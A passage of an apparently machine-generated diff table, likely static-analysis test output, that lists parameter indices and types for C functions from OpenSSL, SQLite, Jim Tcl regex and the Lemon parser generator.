*[]) | | x509_main | 0 | int | +| (int,char **,char *[]) | | x509_main | 1 | char ** | +| (int,char **,char *[]) | | x509_main | 2 | char *[] | +| (int,char **,const OPTIONS *) | | opt_init | 0 | int | +| (int,char **,const OPTIONS *) | | opt_init | 1 | char ** | +| (int,char **,const OPTIONS *) | | opt_init | 2 | const OPTIONS * | +| (int,char *,const char *,...) | | sqlite3_snprintf | 0 | int | +| (int,char *,const char *,...) | | sqlite3_snprintf | 1 | char * | +| (int,char *,const char *,...) | | sqlite3_snprintf | 2 | const char * | +| (int,char *,const char *,...) | | sqlite3_snprintf | 3 | ... | +| (int,char *,const char *,va_list) | | sqlite3_vsnprintf | 0 | int | +| (int,char *,const char *,va_list) | | sqlite3_vsnprintf | 1 | char * | +| (int,char *,const char *,va_list) | | sqlite3_vsnprintf | 2 | const char * | +| (int,char *,const char *,va_list) | | sqlite3_vsnprintf | 3 | va_list | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 0 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 1 | const EVP_CIPHER * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 2 | const char * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 3 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 4 | unsigned char * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 5 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 6 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS8_encrypt | 7 | PKCS8_PRIV_KEY_INFO * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 0 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 1 | const EVP_CIPHER * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 2 | const char * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 3 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 4 | unsigned char * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 5 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 6 | int | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 7 | PKCS8_PRIV_KEY_INFO * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 8 | OSSL_LIB_CTX * | +| (int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS8_encrypt_ex | 9 | const char * | +| (int,const OSSL_ALGORITHM *,OSSL_PROVIDER *) | | ossl_decoder_from_algorithm | 0 | int | +| (int,const OSSL_ALGORITHM *,OSSL_PROVIDER *) | | ossl_decoder_from_algorithm | 1 | const OSSL_ALGORITHM * | +| (int,const OSSL_ALGORITHM *,OSSL_PROVIDER *) | | ossl_decoder_from_algorithm | 2 | OSSL_PROVIDER * | +| (int,const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get0_data | 0 | int | +| (int,const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get0_data | 1 | const OSSL_STORE_INFO * | +| (int,const char *) | | BIO_meth_new | 0 | int | +| (int,const char *) | | BIO_meth_new | 1 | const char * | +| (int,const char **,int *) | | sqlite3_keyword_name | 0 | int | +| (int,const char **,int *) | | sqlite3_keyword_name | 1 | const char ** | +| (int,const char **,int *) | | sqlite3_keyword_name | 2 | int * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt | 0 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt | 1 | const char * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt | 2 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt | 3 | unsigned char * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt | 4 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt | 5 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt | 6 | PKCS8_PRIV_KEY_INFO * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 0 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 1 | const char * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 2 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 3 | unsigned char * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 4 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 5 | int | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 6 | PKCS8_PRIV_KEY_INFO * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 7 | OSSL_LIB_CTX * | +| (int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_create_pkcs8_encrypt_ex | 8 | const char * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7encdata | 0 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7encdata | 1 | const char * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7encdata | 2 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7encdata | 3 | unsigned char * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7encdata | 4 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7encdata | 5 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *) | | PKCS12_pack_p7encdata | 6 | stack_st_PKCS12_SAFEBAG * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 0 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 1 | const char * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 2 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 3 | unsigned char * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 4 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 5 | int | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 6 | stack_st_PKCS12_SAFEBAG * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 7 | OSSL_LIB_CTX * | +| (int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_pack_p7encdata_ex | 8 | const char * | +| (int,const regex_t *,char *,size_t) | | jim_regerror | 0 | int | +| (int,const regex_t *,char *,size_t) | | jim_regerror | 1 | const regex_t * | +| (int,const regex_t *,char *,size_t) | | jim_regerror | 2 | char * | +| (int,const regex_t *,char *,size_t) | | jim_regerror | 3 | size_t | +| (int,const unsigned char *,int,const unsigned char *,int,DSA *) | | DSA_verify | 0 | int | +| (int,const unsigned char *,int,const unsigned char *,int,DSA *) | | DSA_verify | 1 | const unsigned char * | +| (int,const unsigned char *,int,const unsigned char *,int,DSA *) | | DSA_verify | 2 | int | +| (int,const unsigned char *,int,const unsigned char *,int,DSA *) | | DSA_verify | 3 | const unsigned char * | +| (int,const unsigned char *,int,const unsigned char *,int,DSA *) | | DSA_verify | 4 | int | +| (int,const unsigned char *,int,const unsigned char *,int,DSA *) | | DSA_verify | 5 | DSA * | +| (int,const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_ecdsa_verify | 0 | int | +| (int,const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_ecdsa_verify | 1 | const unsigned char * | +| (int,const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_ecdsa_verify | 2 | int | +| (int,const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_ecdsa_verify | 3 | const unsigned char * | +| (int,const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_ecdsa_verify | 4 | int | +| (int,const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_ecdsa_verify | 5 | EC_KEY * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *) | | DSA_sign | 0 | int | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *) | | DSA_sign | 1 | const unsigned char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *) | | DSA_sign | 2 | int | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *) | | DSA_sign | 3 | unsigned char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *) | | DSA_sign | 4 | unsigned int * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *) | | DSA_sign | 5 | DSA * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 0 | int | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 1 | const unsigned char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 2 | int | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 3 | unsigned char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 4 | unsigned int * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 5 | DSA * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 6 | unsigned int | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 7 | const char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 8 | OSSL_LIB_CTX * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_sign_int | 9 | const char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 0 | int | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 1 | const unsigned char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 2 | int | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 3 | unsigned char * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 4 | unsigned int * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 5 | const BIGNUM * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 6 | const BIGNUM * | +| (int,const unsigned char *,int,unsigned char *,unsigned int *,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_sign | 7 | EC_KEY * | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 0 | int | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 1 | const unsigned char * | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 2 | unsigned int | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 3 | unsigned char * | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 4 | size_t * | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 5 | const unsigned char * | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 6 | size_t | +| (int,const unsigned char *,unsigned int,unsigned char *,size_t *,const unsigned char *,size_t,RSA *) | | ossl_rsa_verify | 7 | RSA * | +| (int,int *,int *,int) | | sqlite3_status | 0 | int | +| (int,int *,int *,int) | | sqlite3_status | 1 | int * | +| (int,int *,int *,int) | | sqlite3_status | 2 | int * | +| (int,int *,int *,int) | | sqlite3_status | 3 | int | +| (int,int) | | BN_security_bits | 0 | int | +| (int,int) | | BN_security_bits | 1 | int | +| (int,int) | | EVP_MD_meth_new | 0 | int | +| (int,int) | | EVP_MD_meth_new | 1 | int | +| (int,int) | | EVP_PKEY_meth_new | 0 | int | +| (int,int) | | EVP_PKEY_meth_new | 1 | int | +| (int,int) | | acttab_alloc | 0 | int | +| (int,int) | | acttab_alloc | 1 | int | +| (int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *) | | tls1_get0_implemented_groups | 0 | int | +| (int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *) | | tls1_get0_implemented_groups | 1 | int | +| (int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *) | | tls1_get0_implemented_groups | 2 | TLS_GROUP_INFO * | +| (int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *) | | tls1_get0_implemented_groups | 3 | size_t | +| (int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *) | | tls1_get0_implemented_groups | 4 | long | +| (int,int,TLS_GROUP_INFO *,size_t,long,stack_st_OPENSSL_CSTRING *) | | tls1_get0_implemented_groups | 5 | stack_st_OPENSSL_CSTRING * | +| (int,int,const char *) | | OSSL_CMP_STATUSINFO_new | 0 | int | +| (int,int,const char *) | | OSSL_CMP_STATUSINFO_new | 1 | int | +| (int,int,const char *) | | OSSL_CMP_STATUSINFO_new | 2 | const char * | +| (int,int,const char *,const char *) | | EVP_PKEY_asn1_new | 0 | int | +| (int,int,const char *,const char *) | | EVP_PKEY_asn1_new | 1 | int | +| (int,int,const char *,const char *) | | EVP_PKEY_asn1_new | 2 | const char * | +| (int,int,const char *,const char *) | | EVP_PKEY_asn1_new | 3 | const char * | +| (int,int,const char *,va_list) | | ERR_vset_error | 0 | int | +| (int,int,const char *,va_list) | | ERR_vset_error | 1 | int | +| (int,int,const char *,va_list) | | ERR_vset_error | 2 | const char * | +| (int,int,const char *,va_list) | | ERR_vset_error | 3 | va_list | +| (int,int,const unsigned char *,int) | | PKCS5_pbe_set | 0 | int | +| (int,int,const unsigned char *,int) | | PKCS5_pbe_set | 1 | int | +| (int,int,const unsigned char *,int) | | PKCS5_pbe_set | 2 | const unsigned char * | +| (int,int,const unsigned char *,int) | | PKCS5_pbe_set | 3 | int | +| (int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set_ex | 0 | int | +| (int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set_ex | 1 | int | +| (int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set_ex | 2 | const unsigned char * | +| (int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set_ex | 3 | int | +| (int,int,const unsigned char *,int,OSSL_LIB_CTX *) | | PKCS5_pbe_set_ex | 4 | OSSL_LIB_CTX * | +| (int,int,int *) | | ssl_set_version_bound | 0 | int | +| (int,int,int *) | | ssl_set_version_bound | 1 | int | +| (int,int,int *) | | ssl_set_version_bound | 2 | int * | +| (int,int,int) | | ASN1_object_size | 0 | int | +| (int,int,int) | | ASN1_object_size | 1 | int | +| (int,int,int) | | ASN1_object_size | 2 | int | +| (int,int,int) | | EVP_CIPHER_meth_new | 0 | int | +| (int,int,int) | | EVP_CIPHER_meth_new | 1 | int | +| (int,int,int) | | EVP_CIPHER_meth_new | 2 | int | +| (int,int,int,const void *,size_t,SSL *,void *) | | SSL_trace | 0 | int | +| (int,int,int,const void *,size_t,SSL *,void *) | | SSL_trace | 1 | int | +| (int,int,int,const void *,size_t,SSL *,void *) | | SSL_trace | 2 | int | +| (int,int,int,const void *,size_t,SSL *,void *) | | SSL_trace | 3 | const void * | +| (int,int,int,const void *,size_t,SSL *,void *) | | SSL_trace | 4 | size_t | +| (int,int,int,const void *,size_t,SSL *,void *) | | SSL_trace | 5 | SSL * | +| (int,int,int,const void *,size_t,SSL *,void *) | | SSL_trace | 6 | void * | +| (int,int,size_t,size_t) | | ossl_rand_pool_new | 0 | int | +| (int,int,size_t,size_t) | | ossl_rand_pool_new | 1 | int | +| (int,int,size_t,size_t) | | ossl_rand_pool_new | 2 | size_t | +| (int,int,size_t,size_t) | | ossl_rand_pool_new | 3 | size_t | +| (int,int,void *) | | X509V3_EXT_i2d | 0 | int | +| (int,int,void *) | | X509V3_EXT_i2d | 1 | int | +| (int,int,void *) | | X509V3_EXT_i2d | 2 | void * | +| (int,int,void *) | | X509_ATTRIBUTE_create | 0 | int | +| (int,int,void *) | | X509_ATTRIBUTE_create | 1 | int | +| (int,int,void *) | | X509_ATTRIBUTE_create | 2 | void * | +| (int,int,void *) | | ossl_X509_ALGOR_from_nid | 0 | int | +| (int,int,void *) | | ossl_X509_ALGOR_from_nid | 1 | int | +| (int,int,void *) | | ossl_X509_ALGOR_from_nid | 2 | void * | +| (int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *) | | CRYPTO_get_ex_new_index | 0 | int | +| (int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *) | | CRYPTO_get_ex_new_index | 1 | long | +| (int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *) | | CRYPTO_get_ex_new_index | 2 | void * | +| (int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *) | | CRYPTO_get_ex_new_index | 3 | CRYPTO_EX_new * | +| (int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *) | | CRYPTO_get_ex_new_index | 4 | CRYPTO_EX_dup * | +| (int,long,void *,CRYPTO_EX_new *,CRYPTO_EX_dup *,CRYPTO_EX_free *) | | CRYPTO_get_ex_new_index | 5 | CRYPTO_EX_free * | +| (int,size_t) | | ossl_calculate_comp_expansion | 0 | int | +| (int,size_t) | | ossl_calculate_comp_expansion | 1 | size_t | +| (int,sqlite3_int64 *,sqlite3_int64 *,int) | | sqlite3_status64 | 0 | int | +| (int,sqlite3_int64 *,sqlite3_int64 *,int) | | sqlite3_status64 | 1 | sqlite3_int64 * | +| (int,sqlite3_int64 *,sqlite3_int64 *,int) | | sqlite3_status64 | 2 | sqlite3_int64 * | +| (int,sqlite3_int64 *,sqlite3_int64 *,int) | | sqlite3_status64 | 3 | int | +| (int,unsigned char *,int,const char *,const char *) | | ASN1_OBJECT_create | 0 | int | +| (int,unsigned char *,int,const char *,const char *) | | ASN1_OBJECT_create | 1 | unsigned char * | +| (int,unsigned char *,int,const char *,const char *) | | ASN1_OBJECT_create | 2 | int | +| (int,unsigned char *,int,const char *,const char *) | | ASN1_OBJECT_create | 3 | const char * | +| (int,unsigned char *,int,const char *,const char *) | | ASN1_OBJECT_create | 4 | const char * | +| (int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *) | | DSA_generate_parameters | 0 | int | +| (int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *) | | DSA_generate_parameters | 1 | unsigned char * | +| (int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *) | | DSA_generate_parameters | 2 | int | +| (int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *) | | DSA_generate_parameters | 3 | int * | +| (int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *) | | DSA_generate_parameters | 4 | unsigned long * | +| (int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *) | | DSA_generate_parameters | 5 | ..(*)(..) | +| (int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *) | | DSA_generate_parameters | 6 | void * | +| (int,unsigned long,..(*)(..),void *) | | RSA_generate_key | 0 | int | +| (int,unsigned long,..(*)(..),void *) | | RSA_generate_key | 1 | unsigned long | +| (int,unsigned long,..(*)(..),void *) | | RSA_generate_key | 2 | ..(*)(..) | +| (int,unsigned long,..(*)(..),void *) | | RSA_generate_key | 3 | void * | +| (int,va_list) | | ERR_add_error_vdata | 0 | int | +| (int,va_list) | | ERR_add_error_vdata | 1 | va_list | +| (int,void *) | | OSSL_STORE_INFO_new | 0 | int | +| (int,void *) | | OSSL_STORE_INFO_new | 1 | void * | +| (int,void *) | | sqlite3_randomness | 0 | int | +| (int,void *) | | sqlite3_randomness | 1 | void * | +| (int_dhx942_dh **,const unsigned char **,long) | | d2i_int_dhx | 0 | int_dhx942_dh ** | +| (int_dhx942_dh **,const unsigned char **,long) | | d2i_int_dhx | 1 | const unsigned char ** | +| (int_dhx942_dh **,const unsigned char **,long) | | d2i_int_dhx | 2 | long | +| (lemon *) | | ResortStates | 0 | lemon * | +| (lemon *) | | getstate | 0 | lemon * | +| (lemon *,action *) | | compute_action | 0 | lemon * | +| (lemon *,action *) | | compute_action | 1 | action * | +| (lemon *,const char *) | | file_makename | 0 | lemon * | +| (lemon *,const char *) | | file_makename | 1 | const char * | +| (lemon *,const char *,const char *) | | file_open | 0 | lemon * | +| (lemon *,const char *,const char *) | | file_open | 1 | const char * | +| (lemon *,const char *,const char *) | | file_open | 2 | const char * | +| (lhash_st_CONF_VALUE *,BIO *,long *) | | CONF_load_bio | 0 | lhash_st_CONF_VALUE * | +| (lhash_st_CONF_VALUE *,BIO *,long *) | | CONF_load_bio | 1 | BIO * | +| (lhash_st_CONF_VALUE *,BIO *,long *) | | CONF_load_bio | 2 | long * | +| (lhash_st_CONF_VALUE *,FILE *,long *) | | CONF_load_fp | 0 | lhash_st_CONF_VALUE * | +| (lhash_st_CONF_VALUE *,FILE *,long *) | | CONF_load_fp | 1 | FILE * | +| (lhash_st_CONF_VALUE *,FILE *,long *) | | CONF_load_fp | 2 | long * | +| (lhash_st_CONF_VALUE *,X509V3_CTX *,int,const char *) | | X509V3_EXT_conf_nid | 0 | lhash_st_CONF_VALUE * | +| (lhash_st_CONF_VALUE *,X509V3_CTX *,int,const char *) | | X509V3_EXT_conf_nid | 1 | X509V3_CTX * | +| (lhash_st_CONF_VALUE *,X509V3_CTX *,int,const char *) | | X509V3_EXT_conf_nid | 2 | int | +| (lhash_st_CONF_VALUE *,X509V3_CTX *,int,const char *) | | X509V3_EXT_conf_nid | 3 | const char * | +| (lhash_st_CONF_VALUE *,const char *,long *) | | CONF_load | 0 | lhash_st_CONF_VALUE * | +| (lhash_st_CONF_VALUE *,const char *,long *) | | CONF_load | 1 | const char * | +| (lhash_st_CONF_VALUE *,const char *,long *) | | CONF_load | 2 | long * | | (list &&) | list | list | 0 | list && | | (list &&,const Allocator &) | list | list | 0 | list && | | (list &&,const Allocator &) | list | list | 1 | const class:1 & | +| (piterator *) | | pqueue_next | 0 | piterator * | +| (plink *) | | Plink_delete | 0 | plink * | +| (plink **,config *) | | Plink_add | 0 | plink ** | +| (plink **,config *) | | Plink_add | 1 | config * | +| (plink **,plink *) | | Plink_copy | 0 | plink ** | +| (plink **,plink *) | | Plink_copy | 1 | plink * | +| (pqueue *) | | pqueue_iterator | 0 | pqueue * | +| (pqueue *) | | pqueue_peek | 0 | pqueue * | +| (pqueue *) | | pqueue_pop | 0 | pqueue * | +| (pqueue *,pitem *) | | pqueue_insert | 0 | pqueue * | +| (pqueue *,pitem *) | | pqueue_insert | 1 | pitem * | +| (pqueue *,unsigned char *) | | pqueue_find | 0 | pqueue * | +| (pqueue *,unsigned char *) | | pqueue_find | 1 | unsigned char * | +| (regex_t *,const char *,int) | | jim_regcomp | 0 | regex_t * | +| (regex_t *,const char *,int) | | jim_regcomp | 1 | const char * | +| (regex_t *,const char *,int) | | jim_regcomp | 2 | int | +| (regex_t *,const char *,size_t,regmatch_t[],int) | | jim_regexec | 0 | regex_t * | +| (regex_t *,const char *,size_t,regmatch_t[],int) | | jim_regexec | 1 | const char * | +| (regex_t *,const char *,size_t,regmatch_t[],int) | | jim_regexec | 2 | size_t | +| (regex_t *,const char *,size_t,regmatch_t[],int) | | jim_regexec | 3 | regmatch_t[] | +| (regex_t *,const char *,size_t,regmatch_t[],int) | | jim_regexec | 4 | int | +| (rule *,int) | | Configlist_add | 0 | rule * | +| (rule *,int) | | Configlist_add | 1 | int | +| (rule *,int) | | Configlist_addbasis | 0 | rule * | +| (rule *,int) | | Configlist_addbasis | 1 | int | +| (size_t *,const char *) | | next_protos_parse | 0 | size_t * | +| (size_t *,const char *) | | next_protos_parse | 1 | const char * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 0 | size_t * | +| (size_t *,size_t,unsigned char *,unsigned char **,int *,size_t,size_t,OSSL_LIB_CTX *) | | ssl3_cbc_remove_padding_and_mac | 1 | size_t | +| (size_t *,size_t,unsigned char *,unsigned char **,int 